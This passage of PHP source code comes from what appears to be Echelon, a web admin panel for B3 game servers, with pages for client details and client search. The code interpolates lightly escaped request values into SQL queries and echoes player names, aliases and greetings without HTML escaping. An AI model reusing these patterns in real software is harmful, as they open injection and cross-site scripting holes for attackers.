(!empty($_SERVER['SCRIPT_FILENAME']) && 'plugins-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\r\n/**\r\n * class plugin\r\n * desc: File to deal with Echelon plugins\r\n *\r\n */ \r\n\r\nclass plugins {\r\n\r\n\tprotected $name; // name of the plugin\r\n\tprotected $title; // pretty version of the name of the plugin\r\n\tprivate $version = 1.0;\r\n\t\r\n\tprotected static $plugins_class = NULL;\r\n\t\r\n\tpublic function __construct($name) {\r\n\t\t$this->name = $name;\r\n\t}\r\n\t\r\n\tpublic function __destruct() {\r\n\t}\r\n\t\r\n\tprotected function setTitle($title) {\r\n\t\t$this->title = $title;\r\n\t}\r\n\t\r\n\tprotected function setVersion($version) {\r\n\t\t$this->version = $version;\r\n\t}\r\n\t\r\n\tpublic static function setPluginsClass($value) {\r\n\t\tself::$plugins_class = $value;\r\n\t}\r\n\t\r\n\tprotected function getTitle() {\r\n\t\treturn $this->title;\r\n\t}\r\n\t\r\n\tprotected function getName() {\r\n\t\treturn $this->name;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Internal function: in the case of fatal error die with plugin name and error message\r\n\t */\r\n\tprotected function error($msg) {\r\n\t\tdie($this->getName().' Plugin Error: '. $msg);\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display information from plugins in the CD's bio area\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDBio() {\r\n\t\tforeach(self::$plugins_class  as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientBio')) {\r\n\t\t\t\t$content = $plugin->returnClientBio();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display the tab of any plugin added forms on the clientdetails page\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDFormTab() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientFormTab')) {\r\n\t\t\t\t$content = $plugin->returnClientFormTab();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display forms on the clientdetails page added by any plugins\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDForm($cid = 0) {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientForm')) {\r\n\t\t\t\t$content = $plugin->returnClientForm($cid);\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they want to add a link\r\n\t */\r\n\tfunction displayNav() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnNav')) {\r\n\t\t\t\t$content = $plugin->returnNav();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they want to append something to the end of the CD page\r\n\t */\r\n\tfunction displayCDlogs($cid) {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientLogs')) {\r\n\t\t\t\t$content = $plugin->returnClientlogs($cid);\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they need to include a css file\r\n\t */\r\n\tfunction getCSS() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnCSS')) {\r\n\t\t\t\t$content = $plugin->returnCSS();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they need to include a JS file\r\n\t */\r\n\tfunction getJS() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnJS')) {\r\n\t\t\t\t$content = $plugin->returnJS();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\r\n\r\n} // end class", "echelon/clientdetails.php": "<?php\r\n$page = \"clientdetails\";\r\n$page_title = \"Client Details\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = false; // this page requires the pagination part of the footer\r\nrequire 'inc.php';\r\n\r\n## Do Stuff ##\r\nif($_GET['id'])\r\n\t$cid = $_GET['id'];\r\n\r\nif(!isID($cid)) :\r\n\tset_error('The client id that you have supplied is invalid. Please supply a valid client id.');\r\n\tsend('clients.php');\r\n\texit;\r\nendif;\r\n\t\r\nif($cid == '') {\r\n\tset_error('No user specified, please select one');\r\n\tsend('clients.php');\r\n}\r\n\r\n## Get Client information ##\r\n$query = \"SELECT c.ip, c.connections, c.guid, c.name, c.mask_level, c.greeting, c.time_add, c.time_edit, c.group_bits, g.name\r\n\t\t  FROM clients c LEFT JOIN groups g ON c.group_bits = g.id WHERE c.id = ? LIMIT 1\";\r\n$stmt = $db->mysql->prepare($query) or die('Database Error '. $db->mysql->error);\r\n$stmt->bind_param('i', $cid);\r\n$stmt->execute();\r\n$stmt->bind_result($ip, $connections, $guid, $name, $mask_level, $greeting, $time_add, $time_edit, $group_bits, $user_group);\r\n$stmt->fetch();\r\n$stmt->close();\r\n\r\n## Require Header ##\r\n$page_title .= ' '.$name; // add the clinets name to the end of the title\r\n\r\nrequire 'inc/header.php';\r\n?>\r\n<table class=\"cd-table\">\r\n\t<caption><img src=\"images/cd-page-icon.png\" width=\"32\" height=\"32\" alt=\"\" /><?php echo $name; ?><small>Everything B3 knows about <?php echo $name; ?></small></caption>\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<th>Name</th>\r\n\t\t\t\t<td><?php echo  tableClean($name); ?></td>\r\n\t\t\t<th>@id</th>\r\n\t\t\t\t<td><?php echo $cid; ?></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<th>Level</th>\r\n\t\t\t\t<td><?php \r\n\t\t\t\t\tif($user_group == NULL)\r\n\t\t\t\t\t\techo 'Un-registered';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo $user_group; \r\n\t\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t\t<th>Connections</th>\r\n\t\t\t\t<td><?php echo $connections; ?></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<th>GUID</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t<?php \r\n\t\t\t\t\t$guid_len = strlen($guid);\r\n\t\t\t\t\tif($guid_len == 0) {\r\n\t\t\t\t\t\techo '(There is no GUID availible)';\r\n\t\t\t\t\t\r\n\t\t\t\t\t} elseif($mem->reqLevel('view_full_guid')) { // if allowed to see the full guid\r\n\t\t\t\t\t\tif($guid_len == 32) \r\n\t\t\t\t\t\t\tguidCheckLink($guid);\r\n\t\t\t\t\t\telse \r\n\t\t\t\t\t\t\techo $guid.' <span class=\"red\" title=\"This guid is only 31 characters long, it should be 32 characters!\">['. $guid_len .']</span>';\r\n\t\t\t\t\r\n\t\t\t\t\t} elseif($mem->reqLevel('view_half_guid')) { // if allowed to see the last 8 chars of guid\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif($guid_len == 32) {\r\n\t\t\t\t\t\t\t$half_guid = substr($guid, -8); // get the last 8 characters of the guid\r\n\t\t\t\t\t\t\tguidCheckLink($half_guid);\r\n\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\techo $guid.' <span class=\"red\" title=\"This guid is only 31 characters long, it should be 32 characters!\">['. $guid_len .']</span>';\r\n\t\t\t\t\t\r\n\t\t\t\t\t} else { // if not allowed to see any part of the guid\r\n\t\t\t\t\t\techo '(You do not have access to see the GUID)';\r\n\t\t\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t\t<th>IP Address</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<?php\r\n\t\t\t\t\t$ip = tableClean($ip);\r\n\t\t\t\t\tif($mem->reqLevel('view_ip')) :\r\n\t\t\t\t\t\tif ($ip != \"\") { ?>\r\n\t\t\t\t\t\t\t<a href=\"clients.php?s=<?php echo $ip; ?>&amp;t=ip\" title=\"Search for other users with this IP adreess\"><?php echo $ip; ?></a>\r\n\t\t\t\t\t\t\t\t&nbsp;&nbsp;\r\n\t\t\t\t\t\t\t<a href=\"http://whois.domaintools.com/<?php echo $ip; ?>\" title=\"Whois IP Search\"><img src=\"images/id_card.png\" width=\"16\" height=\"16\" alt=\"W\" /></a>\r\n\t\t\t\t\t\t\t\t&nbsp;&nbsp;\r\n\t\t\t\t\t\t\t<a href=\"http://geotool.servehttp.com/?ip=<?php echo $ip; ?>\" title=\"Show Location of IP origin on map\"><img src=\"images/globe.png\" width=\"16\" height=\"16\" alt=\"L\" /></a>\r\n\t\t\t\t\t<?php\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\techo \"(No IP address available)\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\telse:\t\r\n\t\t\t\t\t\techo '(You do not have access to see the IP address)';\r\n\t\t\t\t\tendif; // if current user is allowed to see the player's IP address\r\n\t\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<th>First Seen</th>\r\n\t\t\t\t<td><?php echo date($tformat, $time_add); ?></td>\r\n\t\t\t<th>Last Seen</th>\r\n\t\t\t\t<td><?php echo date($tformat, $time_edit); ?></td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php \r\n## Plugins Client Bio Area ##\r\n\r\n\tif(!$no_plugins_active)\r\n\t\t$plugins->displayCDBio();\r\n\r\n##############################\r\n?>\r\n\r\n<!-- Start Echelon Actions Panel -->\r\n\r\n<a name=\"tabs\" />\r\n<div id=\"actions\">\r\n\t<ul class=\"cd-tabs\">\r\n\t\t<?php if($mem->reqLevel('comment')) { ?><li class=\"cd-active\"><a href=\"#tabs\" title=\"Add a comment to this user\" rel=\"cd-act-comment\" class=\"cd-tab\">Comment</a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('greeting')) { ?><li><a href=\"#tabs\" title=\"Edit this user's greeting\" rel=\"cd-act-greeting\" class=\"cd-tab\">Greeting</a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('ban')) { ?><li><a href=\"#tabs\" title=\"Add Ban/Tempban to this user\" rel=\"cd-act-ban\" class=\"cd-tab\">Ban</a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('edit_client_level')) { ?><li><a href=\"#tabs\" title=\"Change this user's user level\" rel=\"cd-act-lvl\" class=\"cd-tab\">Change Level</a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('edit_mask')) { ?><li><a href=\"#tabs\" title=\"Change this user's mask level\" rel=\"cd-act-mask\" class=\"cd-tab\">Mask Level</a></li><?php } ?>\r\n\t\t<?php \r\n\t\t\tif(!$no_plugins_active)\r\n\t\t\t\t$plugins->displayCDFormTab();\r\n\t\t?>\r\n\t</ul>\r\n\t<div id=\"actions-box\">\r\n\t\t<?php\r\n\t\t\tif($mem->reqLevel('comment')) :\r\n\t\t\t$comment_token = genFormToken('comment');\t\r\n\t\t?>\r\n\t\t<div id=\"cd-act-comment\" class=\"act-slide\">\r\n\t\t\t\r\n\t\t\t<form action=\"actions/b3/comment.php\" method=\"post\">\r\n\t\t\t\t<label for=\"comment\">Comment:</label><br />\r\n\t\t\t\t\t<textarea type=\"text\" name=\"comment\" id=\"comment\"></textarea>\r\n\t\t\t\t\t<?php tooltip('Add a comment to this users Echelon profile'); ?>\r\n\t\t\t\t\t<br />\r\n\t\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $comment_token; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t\r\n\t\t\t\t<input type=\"submit\" name=\"comment-sub\" value=\"Add Comment\" />\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php\r\n\t\t\tendif;\r\n\t\t\tif($mem->reqLevel('greeting')) :\r\n\t\t\t$greeting_token = genFormToken('greeting');\r\n\t\t?>\r\n\t\t<div id=\"cd-act-greeting\" class=\"act-slide\">\r\n\t\t\t<form action=\"actions/b3/greeting.php\" method=\"post\">\r\n\t\t\t\t<label for=\"greeting\">Greeting Message:</label><br />\r\n\t\t\t\t\t<textarea name=\"greeting\" id=\"greeting\"><?php echo $greeting; ?></textarea><br />\r\n\t\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $greeting_token; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"submit\" name=\"greeting-sub\" value=\"Edit Greeting\" />\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php\r\n\t\t\tendif;\r\n\t\t\tif($mem->reqLevel('ban')) :\r\n\t\t\t$ban_token = genFormToken('ban');\r\n\t\t?>\r\n\t\t<div id=\"cd-act-ban\" class=\"act-slide\">\r\n\t\t\t<form action=\"actions/b3/ban.php\" method=\"post\">\r\n\t\t\r\n\t\t\t\t<fieldset class=\"none\">\r\n\t\t\t\t\t<legend>Type</legend>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<label for=\"pb\">Permanent Ban?</label>\r\n\t\t\t\t\t\t<input type=\"checkbox\" name=\"pb\" id=\"pb\" /><?php tooltip('Is this ban to last forever?'); ?><br />\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div id=\"ban-duration\">\r\n\t\t\t\t\t\t<label for=\"duration\">Duration:</label>\r\n\t\t\t\t\t\t\t<input type=\"text\" name=\"duration\" id=\"duration\" class=\"int dur\" /><?php tooltip('This is the number (eg. 3) of minutes/hours ect.'); ?>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t<select name=\"time\">\r\n\t\t\t\t\t\t\t\t<option value=\"m\">Minutes</option>\r\n\t\t\t\t\t\t\t\t<option value=\"h\">Hours</option>\r\n\t\t\t\t\t\t\t\t<option value=\"d\">Days</option>\r\n\t\t\t\t\t\t\t\t<option value=\"w\">Weeks</option>\r\n\t\t\t\t\t\t\t\t<option value=\"mn\">Months</option>\r\n\t\t\t\t\t\t\t\t<option value=\"y\">Years</option>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t<?php tooltip('How long should this ban last'); ?>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</fieldset>\r\n\t\t\t\t<br class=\"clear\" />\r\n\t\t\t\t\r\n\t\t\t\t<label for=\"reason\">Reason:</label>\r\n\t\t\t\t\t<input type=\"text\" name=\"reason\" id=\"reason\" />\r\n\t\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-name\" value=\"<?php echo $name; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-ip\" value=\"<?php echo $ip; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-pbid\" value=\"<?php echo $guid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $ban_token; ?>\" />\r\n\t\t\t\t<input type=\"submit\" name=\"ban-sub\" value=\"Ban User\" />\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php\r\n\t\t\tendif; // end hide ban section to non authed\r\n\t\t\t$b3_groups = $db->getB3Groups(); // get a list of all B3 groups from the B3 DB\r\n\t\t\t\r\n\t\t\tif($mem->reqLevel('edit_client_level')) :\r\n\t\t\t$level_token = genFormToken('level');\r\n\t\t?>\r\n\t\t<div id=\"cd-act-lvl\" class=\"act-slide\">\r\n\t\t\t<form action=\"actions/b3/level.php\" method=\"post\">\r\n\t\t\t\t<label for=\"level\">Level:</label>\r\n\t\t\t\t\t<select name=\"level\" id=\"level\">\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\tforeach($b3_groups as $group) :\r\n\t\t\t\t\t\t\t\t$gid = $group['id'];\r\n\t\t\t\t\t\t\t\t$gname = $group['name'];\r\n\t\t\t\t\t\t\t\tif($group_bits == $gid)\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\" selected=\"selected\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\tendforeach;\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\r\n\t\t\t\t<div id=\"level-pw\">\r\n\t\t\t\t\t<label for=\"password\">Your Current Password:</label>\r\n\t\t\t\t\t\t<input type=\"password\" name=\"password\" id=\"password\" />\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<?php tooltip('We need your password to make sure it is really you'); ?>\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t<br />\r\n\t\t\t\t</div>\r\n\t\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"old-level\" value=\"<?php echo $group_bits; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $level_token; ?>\" />\r\n\t\t\t\t<input type=\"submit\" name=\"level-sub\" value=\"Change Level\" />\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php\r\n\t\t\tendif; // end if \r\n\t\t\tif($mem->reqLevel('edit_mask')) : \r\n\t\t\t$mask_lvl_token = genFormToken('mask');\r\n\t\t?>\r\n\t\t<div id=\"cd-act-mask\" class=\"act-slide\">\r\n\t\t\t<form action=\"actions/b3/level.php\" method=\"post\">\r\n\t\t\t\t<label for=\"mlevel\">Mask Level:</label>\r\n\t\t\t\t\t<select name=\"level\" id=\"mlevel\">\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\tforeach($b3_groups as $group) :\r\n\t\t\t\t\t\t\t\t$gid = $group['id'];\r\n\t\t\t\t\t\t\t\t$gname = $group['name'];\r\n\t\t\t\t\t\t\t\tif($mask_level == $gid)\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\" selected=\"selected\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\tendforeach;\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t\t<?php tooltip('Masking a user masks their user level from everyone in the game server, as whatever value is here'); ?>\r\n\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"old-level\" value=\"<?php echo $group_bits; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $mask_lvl_token; ?>\" />\r\n\t\t\t\t<input type=\"submit\" name=\"mlevel-sub\" value=\"Change Mask\" />\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php \r\n\t\t\tendif;\r\n\t\t\t\r\n\t\t\t## Plugins CD Form ##\r\n\t\t\tif(!$no_plugins_active)\r\n\t\t\t\t$plugins->displayCDForm($cid)\r\n\t\t\t\r\n\t\t?>\r\n\t</div><!-- end #actions-box -->\r\n</div><!-- end #actions -->\r\n\r\n<!-- Start Client Aliases -->\r\n\r\n<h3 class=\"cd-h\">Aliases</h3>\r\n<table>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Alias</th>\r\n\t\t\t<th>Times Used</th>\r\n\t\t\t<th>First Used</th>\r\n\t\t\t<th>Last Used</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr><th colspan=\"4\"></th></tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\t\t// notice on the query we say that time_add does not equal time_edit, this is because of bug in alias recording in B3 that has now been solved\r\n\t\t$query = \"SELECT alias, num_used, time_add, time_edit FROM aliases WHERE client_id = ? AND time_add != time_edit ORDER BY time_edit DESC\";\r\n\t\t$stmt = $db->mysql->prepare($query) or die('Alias Database Query Error'. $db->mysql->error);\r\n\t\t$stmt->bind_param('i', $cid);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($alias, $num_used, $time_add, $time_edit);\r\n\t\t\r\n\t\t$stmt->store_result(); // needed for the $stmt->num_rows call\r\n\r\n\t\tif($stmt->num_rows) :\r\n\t\t\t\r\n\t\t\twhile($stmt->fetch()) :\r\n\t\r\n\t\t\t\t$time_add = date($tformat, $time_add);\r\n\t\t\t\t$time_edit = date($tformat, $time_edit);\r\n\t\t\t\t\r\n\t\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t\t$token_del = genFormToken('del'.$id);\t\t\r\n\t\t\t\t\r\n\t\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t\t$data = <<<EOD\r\n\t\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t\t<td><strong>$alias</strong></td>\r\n\t\t\t\t\t<td>$num_used</td>\r\n\t\t\t\t\t<td><em>$time_add</em></td>\r\n\t\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t\t</tr>\r\nEOD;\r\n\t\t\t\techo $data;\r\n\t\t\t\r\n\t\t\tendwhile;\r\n\t\t\r\n\t\telse : // if there are no aliases connected with this user then put out a small and short message\r\n\t\t\r\n\t\t\techo '<tr><td colspan=\"4\">'.$name.' has no aliaises.</td></tr>';\r\n\t\t\r\n\t\tendif;\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<!-- Start Client Echelon Logs -->\r\n\r\n<?php\r\n\t## Get Echelon Logs Client Logs (NOTE INFO IN THE ECHELON DB) ##\r\n\t$ech_logs = $dbl->getEchLogs($cid, $game);\r\n\t\r\n\t$count = count($ech_logs);\r\n\tif($count > 0) : // if there are records\r\n?>\r\n\t<h3 class=\"cd-h\">Echelon Logs</h3>\r\n\t<table>\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>id</th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Message</th>\r\n\t\t\t\t<th>Time Added</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><th colspan=\"5\"></th></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody>\r\n\t\t\t<?php displayEchLog($ech_logs, 'client'); ?>\r\n\t\t</tbody>\r\n\t</table>\r\n<?php\r\n\tendif; // end hide is no records\r\n?>\r\n\r\n<!-- Client Penalties -->\r\n\r\n<div id=\"penalties\">\r\n\t<h3 class=\"cd-h cd-slide\" id=\"cd-pen\">Penalties <img class=\"cd-open\" src=\"images/add.png\" alt=\"Open\" /></h3>\r\n\t<table id=\"cd-pen-table\" class=\"slide-panel\">\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th></th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Added</th>\r\n\t\t\t\t<th>Duration</th>\r\n\t\t\t\t<th>Expires</th>\r\n\t\t\t\t<th>Reason</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><td colspan=\"7\"></td></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody id=\"contain-pen\">\r\n\t\t\t<?php \r\n\t\t\t\t$type_inc = 'client';\r\n\t\t\t\tinclude 'inc/cd/penalties.php'; \r\n\t\t\t?>\r\n\t\t</tbody>\r\n\t</table>\r\n</div>\r\n\r\n<!-- Admin History -->\r\n\r\n<div id=\"admin\">\r\n\t<h3 class=\"cd-h cd-slide\" id=\"cd-admin\">Admin Actions <img class=\"cd-open\" src=\"images/add.png\" alt=\"Open\" /></h3>\r\n\t<table id=\"cd-admin-table\" class=\"slide-panel\">\r\n\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th></th>\r\n\t\t\t\t<th>Type</th>\r\n\t\t\t\t<th>Added</th>\r\n\t\t\t\t<th>Duration</th>\r\n\t\t\t\t<th>Expires</th>\r\n\t\t\t\t<th>Reason</th>\r\n\t\t\t\t<th>Admin</th>\r\n\t\t\t</tr>\r\n\t\t</thead>\r\n\t\t<tfoot>\r\n\t\t\t<tr><td colspan=\"7\"></td></tr>\r\n\t\t</tfoot>\r\n\t\t<tbody id=\"contain-admin\">\r\n\t\t\t<?php \r\n\t\t\t\t$type_inc = 'admin';\r\n\t\t\t\tinclude 'inc/cd/penalties.php'; \r\n\t\t\t?>\r\n\t\t</tbody>\r\n\t</table>\r\n</div>\r\n\r\n<?php\r\n## Plugins Log Include Area ##\r\nif(!$no_plugins_active)\r\n\t$plugins->displayCDlogs($cid);\r\n\r\n// Close page off with the footer\r\nrequire 'inc/footer.php'; \r\n?>", "echelon/clients.php": "<?php\r\n$page = \"client\";\r\n$page_title = \"Clients Listing\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"id\";\r\n$order = \"ASC\";\r\n\r\n$is_search = false;\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_add', 'time_edit');\r\n// Check if the sent varible is in the allowed array \r\nif(!in_array($orderby, $allowed_orderby))\r\n\t$orderby = 'id'; // if not just set to default id\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n## Search Request handling ##\r\nif($_GET['s']) {\r\n\t$search_string = addslashes($_GET['s']);\r\n\t$is_search = true; // this is then a search page\r\n}\r\n\r\nif($_GET['t']) {\r\n\t$search_type = $_GET['t']; //  no need to escape it will be checked off whitelist\r\n\t$allowed_search_type = array('all', 'alias', 'pbid', 'ip', 'id');\r\n\tif(!in_array($search_type, $allowed_search_type))\r\n\t\t$search_type = 'all'; // if not just set to default all\r\n}\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = \"SELECT c.id, c.name, c.connections, c.time_edit, c.time_add, c.group_bits, g.name as level\r\n\t\t\tFROM clients c LEFT JOIN groups g\r\n\t\t\tON c.group_bits = g.id WHERE c.id != 1 \";\r\n\r\nif($is_search == true) : // IF SEARCH\r\n\tif($search_type == 'alias') { // ALIAS\r\n\t\t$query .= \"AND c.name LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'id') { // ID\r\n\t\t$query .= \"AND c.id LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'pbid') { // PBID\r\n\t\t$query .= \"AND c.pbid LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} elseif($search_type == 'ip') { // IP\r\n\t\t$query .= \"AND c.ip LIKE '%$search_string%' ORDER BY $orderby\";\r\n\t\t\r\n\t} else { // ALL\r\n\t\t$query .= \"AND c.name LIKE '%$search_string%' OR c.pbid LIKE '%$search_string%' OR c.ip LIKE '%$search_string%' OR c.id LIKE '%$search_string%'\r\n\t\t\tORDER BY $orderby\";\r\n\t}\r\nelse : // IF NOT SEARCH\r\n\t$query .= sprintf(\"ORDER BY %s \", $orderby);\r\n\r\nendif; // end if search request\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\nif(!$db->error) :\r\n?>\r\n\r\n<fieldset class=\"search\">\r\n\t<legend>Client Search</legend>\r\n\t<form action=\"clients.php\" method=\"get\" id=\"c-search\">\r\n\t\r\n\t\t<img src=\"images/indicator.gif\" alt=\"Loading....\" title=\"We are searching for posible matches, please wait\" id=\"c-s-load\" />\r\n\t\r\n\t\t<input type=\"text\" autocomplete=\"off\" name=\"s\" id=\"search\" onkeyup=\"suggest(this.value);\" onBlur=\"fill();\" value=\"<?php echo $search_string; ?>\" />\r\n\t\t\r\n\t\t<div class=\"suggestionsBox\" id=\"suggestions\" style=\"display: none;\">\r\n\t\t\t<div class=\"suggestionList\" id=\"suggestionsList\">&nbsp;</div>\r\n\t\t</div>\r\n\t\t\r\n\t\t<select name=\"t\">\r\n\t\t\t<option value=\"all\" <?php if($search_type == \"all\") echo 'selected=\"selected\"' ?>>All Records</option>\r\n\t\t\t<option value=\"alias\" <?php if($search_type == \"alias\") echo 'selected=\"selected\"' ?>>Name</option>\r\n\t\t\t<option value=\"pbid\" <?php if($search_type == \"pbid\") echo 'selected=\"selected\"' ?>>PBID</option>\r\n\t\t\t<option value=\"ip\" <?php if($search_type == \"ip\") echo 